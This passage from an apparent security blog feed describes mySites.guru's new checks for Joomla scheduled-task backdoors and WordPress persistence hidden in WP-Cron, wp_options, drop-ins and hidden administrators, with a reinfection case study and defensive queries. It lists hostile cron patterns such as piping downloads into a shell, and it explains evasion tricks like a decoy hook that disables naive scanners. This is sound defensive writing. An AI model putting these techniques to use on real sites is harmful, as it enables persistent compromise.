&lt;p&gt;Removal is narrow on purpose. One task at a time, and the row is re-read and matched against a token issued when the task was shown to you, so a stale page cannot delete the wrong thing. Nothing is ever added or edited, and a task’s &lt;code&gt;params&lt;/code&gt; are never read or transmitted, because those are yours. The delete also leaves Joomla’s &lt;code&gt;#__assets&lt;/code&gt; row alone on purpose: that table is a nested set, and deleting from it without rebuilding the tree corrupts the whole permissions structure. An orphaned asset row costs nothing.&lt;/p&gt;
&lt;p&gt;The check reports rather than accusing. A flagged task does not on its own mark a site as hacked, for the reason the orphaned filter exists in the first place: most rows that fail this test are extension leftovers rather than attacks. It belongs next to the other evidence, not in front of it, which is why &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-super-admin-accounts/&quot;&gt;a rogue Super User account&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;the administrator list across every site you manage&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;files that core never shipped&lt;/a&gt; are worth reading at the same time.&lt;/p&gt;
&lt;h2&gt;What this check still cannot do&lt;/h2&gt;
&lt;p&gt;It asks the site about itself, so a compromised site whose own plugin advertises the attacker’s routine id makes that id look perfectly registered. The vocabulary and shape rules run independently of that list for exactly this reason, but the strongest rule can be defeated by an attacker who ships a plugin alongside their task.&lt;/p&gt;
&lt;p&gt;It cannot tell a legitimate routine being used for something else from a legitimate routine. Core’s own &lt;code&gt;plg_task_requests&lt;/code&gt; plugin fetches a URL you specify on a schedule and writes the response to disk. A task pointing that at somewhere unhelpful is not orphaned, names a routine an enabled core plugin really does advertise, and reads as ordinary maintenance automation. CVE-2026-48900 is what makes that worth saying out loud instead of filing as theoretical.&lt;/p&gt;
&lt;p&gt;And it says nothing about &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt;, which is close to a quarter of the Joomla sites we see. Those sites have no scheduler table, so there is nothing here to be clean or dirty. Their server crontabs are still read separately, and that check has always covered every crontab on the box, not just the one your control panel shows you.&lt;/p&gt;
&lt;p&gt;On the WordPress site described earlier, four separate instruments each had a good reason to report nothing, and not one of them was broken. Sucuri documented &lt;a href=&quot;https://blog.sucuri.net/2024/11/php-reinfector-and-backdoor-malware-target-wordpress-sites.html&quot;&gt;a similar WordPress family in November 2024&lt;/a&gt; that scheduled its own reinfection from encoded database rows, so this is a shape attackers already work in. Joomla’s version of that table has had far less attention, from attackers and defenders alike. The row is just as easy to write.&lt;/p&gt;
&lt;p&gt;If &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;a Joomla site is currently compromised&lt;/a&gt; and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;we fix hacked sites for a fixed fee&lt;/a&gt;. If you would rather have all of this watched across every site you look after, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-4-1-0-stable-new-standards-in-accessible-website-design.html&quot;&gt;Joomla 4.1.0 Stable release announcement&lt;/a&gt; - 15 February 2022, the release that introduced the Task Scheduler and the table this post is about&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1048-20260516-core-incorrect-access-control-in-com-scheduler.html&quot;&gt;20260516 Core - Incorrect Access Control in com_scheduler&lt;/a&gt; - the Joomla Security Centre advisory for CVE-2026-48900, reported by Federico Brasili&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/958-20250201-core-sql-injection-vulnerability-in-scheduled-tasks-component.html&quot;&gt;20250201 Core - SQL injection vulnerability in Scheduled Tasks component&lt;/a&gt; - the earlier com_scheduler advisory, CVE-2025-22207, reported by Calum Hutton of Snyk&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2024/11/php-reinfector-and-backdoor-malware-target-wordpress-sites.html&quot;&gt;PHP Reinfector and Backdoor Malware Target WordPress Sites&lt;/a&gt; - Sucuri, November 2024, on the WordPress version of scheduling your reinfection from a database row&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://petermartin.nl/en/focus-on/joomla/joomla-website-hacked&quot;&gt;Joomla Website Hacked: What To Do, Step by Step&lt;/a&gt; - Peter Martin, August 2026, one of the few Joomla cleanup guides that tells you to open the scheduler at all&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>malware</category><category>hacked</category><category>hack detection</category><category>backdoor</category><category>scheduled tasks</category><enclosure url="https://mysites.guru/img/og/blog/joomla-scheduled-tasks-backdoor.png" length="0" type="image/png"/></item><item><title>Five New Checks for WordPress Hacks a File Scan Cannot See</title><link>https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/</guid><description>WP-Cron events, wp_options rows, drop-ins, hidden administrators and impostor plugins. Five new mySites.guru checks for the half of a hack that is not a file.</description><pubDate>Tue, 15 Sep 2026 17:54:49 GMT</pubDate><content:encoded>&lt;p&gt;The audit page for a WordPress site in mySites.guru has a panel headed “Hacked ?”. It used to ask six questions of your files and one of your server. It now asks five more, and not one of them opens a file.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/wordpress-hacked-panel-checks.BlUgZJ1s_v2uCM.webp&quot; alt=&quot;The Hacked ? panel on a WordPress site in mySites.guru, showing six green OK rows: Check For Malicious Cron Jobs, then Check For Malicious WP-Cron Events, Suspect WP Options, Must-Use Plugins And Drop-ins, Rogue And Hidden Administrators and Impostor Plugin Identities, a NEW badge on each of the last five, each row with Learn and Investigate buttons&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;403&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The top row, malicious cron jobs, has been there a while and reads the server’s own crontabs. The five underneath it are new. They read WordPress’s own scheduler, its settings table, the two folders it loads PHP from without telling you, and the administrator list. Joomla 4.1 and above gained &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;a matching Scheduled Tasks check&lt;/a&gt; on the same day; Joomla 3 gets nothing, because it has no scheduler to read.&lt;/p&gt;
&lt;p&gt;All five exist because of one site that ran compromised for five months while four separate instruments each had a good reason to report nothing.&lt;/p&gt;
&lt;h2&gt;The five new WordPress checks, and what each one reads&lt;/h2&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-wp-cron-events/&quot;&gt;Check For Malicious WP-Cron Events&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Reads the cron row out of wp_options with raw SQL and decodes it without letting PHP rebuild any objects inside it. An event is called malicious on four tells with no innocent explanation: it runs a file already flagged as malware, the file sits in a dot-directory under wp-content, the code behind it was created at runtime by something no ordinary plugin called, or the hook name belongs to a family we recognise. Any event can be unscheduled from the tool, not just a flagged one, because an ordinary scheduled job is the operator&apos;s to remove too, and the row is re-read afterwards so you see the verified result rather than the call&apos;s return value.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/suspect-wp-options/&quot;&gt;Suspect WP Options&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Asks four questions of every row in wp_options, and the sweep never collects what is in one. Is the name nothing but 10 to 12 hexadecimal characters, anchored at both ends? Is it a name a known family uses, including behind a transient prefix? Do the first eight bytes look like compressed or encoded data, or like an opening PHP tag? The sweep collects the name, the byte length, the autoload flag and an eight-byte fingerprint, and it also reports how many bytes of that table WordPress loads on every page view. A flagged row can then be viewed a value at a time and deleted.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/must-use-plugins-and-drop-ins/&quot;&gt;Must-Use Plugins and Drop-ins&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Lists every top-level PHP file in wp-content/mu-plugins/ and every drop-in WordPress will load by name out of wp-content, including object-cache.php, advanced-cache.php, db.php, fatal-error-handler.php and sunrise.php, with whether each one is actually being loaded. It reads the directory instead of asking WordPress what is there. The count is inventory rather than an accusation, and the badge is neutral by design, because having these is normal. Only a hidden file, or one already flagged elsewhere, gets a colour, and only an increase turns the trend red.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-and-hidden-administrators/&quot;&gt;Rogue and Hidden Administrators&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Reads the administrator list twice, once straight from wp_users and wp_usermeta and once the way your own Users screen asks. An account is rogue when its username and email match a shape a known campaign generates. The disagreement between the two readings is itself a finding, because a database holding more administrators than WordPress admits to means something is filtering the list. Accounts can be deleted from the tool, with their content reassigned to an account that stays.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/impostor-plugin-identities/&quot;&gt;Impostor Plugin Identities&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;The one check here that never contacts your site. It re-reads the name, version, author and vendor address every plugin already declared about itself, and asks whether the declared author is a plain two-word human name whose surname is also the vendor domain, someone called &quot;Jack Walker&quot; publishing at walker.dev. One family generates a fake plugin per site it breaks into and invents both from the same pool. Suspect, never confirmed.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-cron-jobs/&quot;&gt;Check For Malicious Cron Jobs&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;The row above the new five, and the one that pre-dates them. It reads the account crontab, /etc/crontab, /etc/cron.d/ and the run-parts directories, and flags only tells with no innocent explanation in a website&apos;s cron: piping a download into a shell, decoding a blob and executing it, fetching from a bare IP, running something out of /tmp. It stops at the operating system, which is the gap the WP-Cron check now fills.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Read together rather than one at a time, those six describe a whole compromise. One family plants a must-use plugin, hides the loader in a dot-directory, stores its source in the options table, registers a scheduled event to rewrite anything you delete, and creates an administrator account it filters out of your Users screen. Five of the six rows have something to say about that site. The file scan has nothing at all.&lt;/p&gt;
&lt;h2&gt;Why can a file scan miss a WordPress hack completely?&lt;/h2&gt;
&lt;p&gt;Because each of these is either not a file, or it is a file with no clean counterpart to compare against.&lt;/p&gt;
&lt;p&gt;A database row is not a file. A cron entry is not a file. A user account is not a file. Those three are outside the reach of any scanner that works by reading what is on disk, whether it matches signatures or compares hashes. A must-use plugin, a drop-in and a planted plugin are files, but they have no official version anywhere to compare them against, so a hash check has nothing to say about them either. &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Hash matching and pattern matching&lt;/a&gt; are both good instruments, and both of them work on the same half of the problem.&lt;/p&gt;
&lt;p&gt;There is a worse case, and it is the one that prompted this work. The family we measured against kept a pristine copy of the theme’s &lt;code&gt;functions.php&lt;/code&gt; in a database row, with a stored hash to verify it, purely so it could restore the innocent file whenever it wanted to. A file integrity check then passes, correctly. &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect content and hacked files&lt;/a&gt; are two different tools on this site and both of them read files, so both were shown the clean version.&lt;/p&gt;
&lt;h2&gt;The infection that made the case for these checks&lt;/h2&gt;
&lt;p&gt;A Dutch agency raised a &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;paid clean-up&lt;/a&gt; on 10 September 2026 for a site that kept coming back. They had cleaned it themselves twice. We cleaned it once, and it was reinfected by morning.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;818KB&lt;/div&gt;&lt;div&gt;of the malware&apos;s own source in one wp_options row&lt;/div&gt;&lt;div&gt;837,308 bytes, one of 88 rows holding 3.2MB&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0&lt;/div&gt;&lt;div&gt;hacked files reported across three audits&lt;/div&gt;&lt;div&gt;spanning a 22-file rewrite&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;5 months&lt;/div&gt;&lt;div&gt;compromised before anyone caught it&lt;/div&gt;&lt;div&gt;through two rewrites of the malware&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;6 of 43&lt;/div&gt;&lt;div&gt;scheduled events flagged on the infected site&lt;/div&gt;&lt;div&gt;and they were exactly the six malicious ones&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured during a paid clean-up of one compromised WordPress site, September 2026. One site&apos;s figures, not an average.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The persistence was 88 rows in &lt;code&gt;wp_options&lt;/code&gt; holding complete compressed copies of the malware’s own PHP, a manifest of every path it owned, captured administrator passwords in readable form, and a WP-Cron hook on a 600 second interval that rewrote any file on the manifest that had gone missing. WP-Cron fires on ordinary page loads rather than on a timer, so on a site with traffic the interval is a ceiling and deleted files came back in seconds. The loader was a two megabyte must-use plugin. Three drop-ins were hijacked alongside it. The administrator account it created was filtered out of the Users screen by a &lt;code&gt;views_users&lt;/code&gt; hook.&lt;/p&gt;
&lt;p&gt;Four instruments each had a separate reason for saying nothing, and not one of them was a bug:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The file scanner had no signature for the family, and even once patterns were added the malware restored the clean file when a scan looked.&lt;/li&gt;
&lt;li&gt;The cron reader ran and answered correctly. It opens crontab spools, &lt;code&gt;/etc/crontab&lt;/code&gt;, &lt;code&gt;/etc/cron.d&lt;/code&gt; and the run-parts directories. There is no database query in it, and WP-Cron is a database row.&lt;/li&gt;
&lt;li&gt;The administrator count came from &lt;code&gt;get_users()&lt;/code&gt;, which runs inside the attacker’s own loaded code.&lt;/li&gt;
&lt;li&gt;Real-time file alerting would have shown 22 modifications in three minutes, but it is opt-in and this site had not opted in.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The cron check’s own Learn page had always named the two layers above it, WP-Cron and Joomla’s Scheduled Tasks, as “separate surfaces with their own tools”. They now have them, and that page links them.&lt;/p&gt;
&lt;h2&gt;Why doesn’t mySites.guru just ask WordPress?&lt;/h2&gt;
&lt;p&gt;Because on a compromised site, WordPress is answering with the attacker’s code loaded.&lt;/p&gt;
&lt;p&gt;Reading anything out of a WordPress site means loading WordPress, which loads every active plugin and every must-use plugin first. The malware’s filters are live inside the request that asks the question. A plugin can rewrite the answer to “who are the administrators here” by returning a non-null array from &lt;code&gt;users_pre_query&lt;/code&gt;, at which point the query never reaches the database at all.&lt;/p&gt;
&lt;p&gt;So every WordPress read in these five checks has a raw SQL path, and a WordPress API call may enrich an answer but never decide it. The cron row is read with SQL and never &lt;code&gt;get_option()&lt;/code&gt;, which is filtered at four points in core. Drop-ins and must-use plugins are found with &lt;code&gt;scandir()&lt;/code&gt; and never &lt;code&gt;get_dropins()&lt;/code&gt;. The administrator count comes from &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_usermeta&lt;/code&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;One API call is made precisely because it can lie&lt;/p&gt;&lt;div&gt;&lt;p&gt;The hidden-administrator count is the difference between the raw database answer and the answer WordPress gives. The disagreement is the finding. Worth knowing: the family we measured installs &lt;code&gt;views_users&lt;/code&gt;, which filters the links above the wp-admin Users table and does not touch the user query itself, so on that family mySites.guru’s number was correct and the customer’s own Users screen was the thing lying to them.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There is a second reason not to trust convenience, and it is sharper. The &lt;code&gt;cron&lt;/code&gt; row is parsed by a scalar-only walker that rejects object tokens at the type-tag position, never by searching the raw bytes for &lt;code&gt;O:&lt;/code&gt;. A hook name is arbitrary text that &lt;code&gt;add_action()&lt;/code&gt; never validates, so an attacker can register a decoy hook literally named &lt;code&gt;O:8:&quot;stdClass&quot;:0:{}&lt;/code&gt;. A byte scan would then read that site as unparseable for ever, on exactly the site it exists to examine, while the real hook sits beside the decoy. That gives an attacker a switch for turning the detection off, and the naive version of this check would have shipped it.&lt;/p&gt;
&lt;h2&gt;What makes a WordPress scheduled event suspicious&lt;/h2&gt;
&lt;p&gt;Attribution comes first, and the name second. A hook whose every implementing file sits under &lt;code&gt;wp-content/plugins/&lt;/code&gt; or &lt;code&gt;wp-content/themes/&lt;/code&gt;, with nothing evaluated, hidden, must-use or already flagged, says nothing about its name at all. Plugin authors name their scheduled jobs however they like, and a version number in a name is not a clue about anything.&lt;/p&gt;
&lt;p&gt;Only when an event cannot be traced to an ordinary file, or what it is traced to is itself suspect, does the name come into it. Then the two name rules describe a shape rather than listing examples.&lt;/p&gt;
&lt;p&gt;The separator test accepts any byte that is not a letter or a digit, so it covers hyphen, slash, dot and colon by construction instead of by a list someone has to remember to extend. The digit test skips a token that is one alpha stem with one digit run, which clears &lt;code&gt;v2&lt;/code&gt;, &lt;code&gt;mc4wp&lt;/code&gt;, &lt;code&gt;w3tc&lt;/code&gt;, &lt;code&gt;s2member&lt;/code&gt; and core’s own &lt;code&gt;i18n&lt;/code&gt;, while still catching a generated name, because those lead with a digit or hold two digit runs. Both were measured against 2,719 hook names harvested from WordPress core and from installed plugins, and no ordinary name in that set reaches the tier that marks a site as hacked.&lt;/p&gt;
&lt;p&gt;The tier ceiling matters too. A name alone never confirms anything. The four tells that can mark a site as hacked are all about what an event runs rather than what it is called: a file already flagged as malware, a dot-directory under &lt;code&gt;wp-content&lt;/code&gt;, code created at runtime by something no ordinary installed plugin called, or a hook name belonging to a family we have already pulled apart.&lt;/p&gt;
&lt;h2&gt;Why a big wp_options row is not a finding&lt;/h2&gt;
&lt;p&gt;The obvious rule for a table that holds an 837,308 byte payload is a size threshold, and the measurements say no. Three real options tables were available to compare: one from the compromised site, the same site after it was cleaned, and a stock WordPress install.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Signal&lt;/th&gt;&lt;th&gt;Infected site&lt;/th&gt;&lt;th&gt;Same site, cleaned&lt;/th&gt;&lt;th&gt;Stock WordPress&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Option rows&lt;/td&gt;&lt;td&gt;860&lt;/td&gt;&lt;td&gt;774&lt;/td&gt;&lt;td&gt;143&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Total option bytes&lt;/td&gt;&lt;td&gt;4,807,624&lt;/td&gt;&lt;td&gt;1,393,043&lt;/td&gt;&lt;td&gt;86,015&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Largest single row&lt;/td&gt;&lt;td&gt;837,308&lt;/td&gt;&lt;td&gt;372,553&lt;/td&gt;&lt;td&gt;30,181&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Rows over 64KB&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Option names matching &lt;code&gt;^[0-9a-f]{10,12}$&lt;/code&gt;&lt;/td&gt;&lt;td&gt;32&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Size does not separate those three columns. The bare hexadecimal name separates them perfectly, and it is nearly free to test.&lt;/p&gt;
&lt;p&gt;The case that settles it is &lt;code&gt;rewrite_rules&lt;/code&gt;, which is part of WordPress itself, exists on every WordPress site there has ever been, holds the compiled permalink rules and grows past 64KB on any site with enough pages and custom post types. A tier that fires on that is measuring how big a site is. So a large row is context: listed with its byte count and a vendor label where we recognise one, with no tier, no colour and no contribution to the count on your audit row. A site with nine large rows and nothing wrong gets a green tick.&lt;/p&gt;
&lt;p&gt;There is a corollary worth stealing. Do not calibrate a size rule on “bigger than the malware we found”. The largest legitimate row measured so far is 1,891KB and the largest malicious one is 818KB, so that threshold clears the sick site and flags the healthy one.&lt;/p&gt;
&lt;p&gt;The anchoring in the hex pattern is doing the same kind of work. Formidable Forms writes &lt;code&gt;frm_form_templates_&lt;/code&gt; followed by 32 hex characters, and Elementor Pro writes &lt;code&gt;elementor_pro_api_request_&lt;/code&gt; followed by 15. A rule that matched a hex &lt;em&gt;tail&lt;/em&gt; rather than the whole name would report every site running either of them as hacked.&lt;/p&gt;
&lt;p&gt;A short repeat interval fails the same test, and it is the one that sounds most like a signal. A widely used backup plugin schedules a job every sixty seconds by design, so an “interval under 300 seconds” tier would fire on every site running it and tell you nothing.&lt;/p&gt;
&lt;h2&gt;Which of these mark a WordPress site as hacked?&lt;/h2&gt;
&lt;p&gt;Two of the five. A malicious WP-Cron event and a rogue administrator account both set the flag and both appear inside the red card. Suspect WP Options, Must-Use Plugins and Drop-ins, and Impostor Plugin Identities report only.&lt;/p&gt;
&lt;p&gt;That is not hedging, it is what the measurements support. The cost of a false confirmation is telling a paying customer their site is infected when it is not, so a check earns the red card on measured separation rather than on how confident the rule feels. The counters that would justify promoting one out of report mode are collected per site, not per finding, so one site with two hundred suspect rows does not read as two hundred compromised sites.&lt;/p&gt;
&lt;p&gt;Impostor Plugin Identities may never leave report mode, and the reason is a fair one. The last time that rule ran across every WordPress site we hold, it matched six plugin records. Five were this malware, all inside a single customer account. The sixth was a real independent developer publishing under his own name at his own domain, exactly as he is entitled to. Tightening the rule to exclude him would mean writing one man’s personal web address into our code, which is fitting a rule to a single example. Every one of those five sites was reading as clean at the time.&lt;/p&gt;
&lt;h2&gt;How do I clean a WordPress site using these checks?&lt;/h2&gt;
&lt;p&gt;Order decides whether the clean-up holds. While any part of the malware can still execute, it repairs whatever you just removed, which is what the agency kept running into.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Unschedule the event first, before you touch a file.&lt;/strong&gt; Clean the files while the event is still scheduled and it will write them back, often within minutes. The WP-Cron tool removes an event and then re-reads the row to show you the verified result.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read the file the event runs.&lt;/strong&gt; mySites.guru shows the path where it can work it out, and every must-use plugin, drop-in and impostor plugin directory links straight into the &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; at the folder rather than the file, so you see it among its siblings. That file is usually the thing that points at how the site was broken into.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete the rogue administrators&lt;/strong&gt;, then change the passwords on every administrator that remains and force everyone to sign in again. When mySites.guru deletes accounts for you, their content is reassigned, and it will not run at all if deleting them would leave the site with no one holding the keys.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear the payload rows&lt;/strong&gt;, but recognise before you remove. Start with the names, not the sizes: a row named after nothing is far more interesting than a large row named &lt;code&gt;_transient_something_sensible&lt;/code&gt;. A row the tool actually accused can be read one value at a time and then deleted from the same page. A large row it merely listed cannot, on purpose, because deleting the wrong settings row breaks a plugin and there is no undo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then delete the files&lt;/strong&gt;, once nothing left can rebuild them, and &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a full audit&lt;/a&gt; and work through everything it flags.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sweep again.&lt;/strong&gt; On a live site a visitor can trigger a rebuild while you are still working, and so can &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;something still running from a file you already deleted&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Rotate the authentication salts in &lt;code&gt;wp-config.php&lt;/code&gt; afterwards to invalidate harvested session cookies, and change the database and hosting passwords. On the site above, the malware had five months to read all of them. None of that touches &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-wordpress-application-passwords-after-a-hack/&quot;&gt;Application Passwords&lt;/a&gt;, a separate REST API credential that a salt rotation and a password change both leave working, so revoke those too.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Clean every site in the hosting account in one sitting&lt;/p&gt;&lt;div&gt;&lt;p&gt;This family writes to every site it can reach on a server. On the compromise these checks came from, the FTP credentials we were given reached exactly one of several sites on the account, and the neighbours were never reachable. Cleaning sites one at a time, days apart, is how a compromise lasts five months. The &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;rogue administrator search across every site you manage&lt;/a&gt; is the fastest way to find out how far it went.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How to check a WordPress site by hand&lt;/h2&gt;
&lt;p&gt;None of this needs a subscription. Four checks, two in SQL and two on the filesystem, get you most of the way on a single site.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;-- 1. Option names, not sizes. A bare hex name is generated by a program.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; option_name, &lt;/span&gt;&lt;span&gt;LENGTH&lt;/span&gt;&lt;span&gt;(option_value) &lt;/span&gt;&lt;span&gt;AS&lt;/span&gt;&lt;span&gt; bytes, autoload&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; wp_options&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; option_name &lt;/span&gt;&lt;span&gt;COLLATE&lt;/span&gt;&lt;span&gt; utf8mb4_bin REGEXP &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;^[0-9a-f]{10,12}$&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; bytes &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-- 2. Administrators, read from the tables rather than through WordPress.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;ID&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user_login&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user_email&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user_registered&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; wp_users u&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;JOIN&lt;/span&gt;&lt;span&gt; wp_usermeta m &lt;/span&gt;&lt;span&gt;ON&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user_id&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;ID&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;meta_key&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;wp_capabilities&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;meta_value&lt;/span&gt;&lt;span&gt; LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%administrator%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not drop the &lt;code&gt;COLLATE&lt;/code&gt; from the first query. The column is stored under a case-insensitive collation, so without it the pattern means &lt;code&gt;[0-9a-fA-F]&lt;/code&gt; instead and you get matches you did not ask for. Anchoring both ends matters just as much: several perfectly ordinary plugins write a sensible prefix followed by a long hex string, so a rule that matched a hex tail would flag every site running one of them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# 3. Drop-ins load automatically and appear in no plugin list.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; -la&lt;/span&gt;&lt;span&gt; wp-content/db.php&lt;/span&gt;&lt;span&gt; wp-content/object-cache.php&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;       wp-content/advanced-cache.php&lt;/span&gt;&lt;span&gt; wp-content/fatal-error-handler.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
